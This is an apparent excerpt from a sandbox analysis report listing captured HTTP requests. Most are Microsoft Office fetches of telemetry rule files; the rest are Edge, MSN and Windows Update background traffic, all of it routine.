Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731427672060&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=456cae4d87b64b2da7cf8c972fa982c5&activityId=456cae4d87b64b2da7cf8c972fa982c5&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=979A5BD9CF9646E4BEFD6D50889CD033&MUID=3396E73AB3A068C604AEF20FB2F769BB HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3396E73AB3A068C604AEF20FB2F769BB; _EDGE_S=F=1&SID=2B40E3B8AF3669BB0CB3F68DAEC468DC; _EDGE_V=1; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732032464&P2=404&P3=2&P4=atOv43x71eFWh3wWVf292pG7Z07arD2peITN3Ma3Rh%2bonwu4WZOu8OUMfP7%2b8qlLE5A84bjaRSyASVWLMgeK2A%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: sXdVVvFdTPTBuhahhIgwcnSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vDlmEdS9slHvMsn&MD=NZk1s6hT HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
